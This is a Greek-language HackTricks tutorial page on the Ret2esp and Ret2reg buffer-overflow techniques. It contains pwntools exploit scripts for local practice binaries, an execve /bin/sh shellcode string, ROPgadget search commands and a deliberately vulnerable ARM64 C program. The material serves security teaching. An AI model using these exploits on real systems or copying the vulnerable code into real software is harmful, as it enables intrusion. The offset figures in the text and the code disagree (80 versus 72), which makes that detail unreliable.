Ret2esp / Ret2reg
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ret2esp
Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας jmp esp
ή call esp
εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή ret
, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell.
Αν η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR) δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές jmp esp
ή call esp
που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με την ASLR ενεργή, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε PIE).
Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell μετά την καταστροφή του EIP, αντί στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές push
ή pop
που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
Έλλειψη χώρου
Αν σας λείπει χώρος για να γράψετε μετά την αντικατάσταση του RIP (ίσως μόνο μερικά bytes), γράψτε έναν αρχικό κώδικα shell jmp
όπως:
sub rsp, 0x30
jmp rsp
Και γράψτε το shellcode νωρίς στη στοίβα.
Παράδειγμα
Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp με μια τελική εκμετάλλευση όπως:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Υπάρχει μια υπερχείλιση buffer χωρίς ενεργοποιημένο το NX, χρησιμοποιείται ένα gadget για να μειώσει τη διεύθυνση του $esp
και στη συνέχεια ένα jmp esp;
για να μεταπηδήσει στον shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Ομοίως, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου είναι αποθηκευμένο το shellcode, μπορούμε να εκμεταλλευτούμε τις εντολές call eax
ή jmp eax
(γνωστές ως τεχνική ret2eax), προσφέροντας μια άλλη μέθοδο για να εκτελέσουμε το shellcode μας. Ακριβώς όπως το eax, οποιοδήποτε άλλο καταχωρητή που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (ret2reg).
Παράδειγμα
Μπορείτε να βρείτε μερικά παραδείγματα εδώ:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
θα αποθηκεύσει στοeax
τη διεύθυνση του buffer όπου ήταν αποθηκευμένο το shellcode καιeax
δεν επαναγράφεται, οπότε είναι δυνατή η χρήση ενόςret2eax
.
ARM64
Ret2sp
Στο ARM64 δεν υπάρχουν εντολές που να επιτρέπουν να πηδήξουμε στο καταχωρητή SP. Είναι πιθανό να βρούμε ένα gadget που μεταφέρει το sp σε έναν καταχωρητή και στη συνέχεια πηδά σε αυτόν τον καταχωρητή, αλλά στη libc της kali μου δεν μπόρεσα να βρω κανένα gadget όπως αυτό:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Οι μόνοι που ανακάλυψα θα άλλαζαν την τιμή του μητρώου όπου το sp αντιγράφηκε πριν πηδήξει σε αυτό (έτσι θα γινόταν άχρηστο):
.png)
Ret2reg
Αν ένα μητρώο έχει μια ενδιαφέρουσα διεύθυνση, είναι δυνατόν να πηδήξεις σε αυτό απλά βρίσκοντας την κατάλληλη εντολή. Θα μπορούσες να χρησιμοποιήσεις κάτι σαν:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
Στην ARM64, είναι το x0
που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
Παράδειγμα κώδικα:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η διεύθυνση προς το buffer (ευάλωτο σε bof και ελεγχόμενο από τον χρήστη) είναι αποθηκευμένη στο x0
πριν επιστρέψει από την υπερχείλιση του buffer:
.png)
Είναι επίσης δυνατό να βρούμε το gadget br x0
στη συνάρτηση do_stuff
:
.png)
Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό γιατί το δυαδικό είναι μεταγλωττισμένο ΧΩΡΙΣ PIE. Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η απόσταση της υπερχείλισης του buffer είναι 80, οπότε η εκμετάλλευση θα είναι:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Αντί για fgets
χρησιμοποιήθηκε κάτι όπως read
, θα ήταν δυνατό να παρακαμφθεί το PIE απλά υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής για να επιστρέψει στην εντολή br x0;
χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.
Με το fgets
δεν λειτουργεί γιατί προσθέτει ένα null (0x00) byte στο τέλος.
Προστασίες
- NX: Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.
- ASLR & PIE: Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.
Αναφορές
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.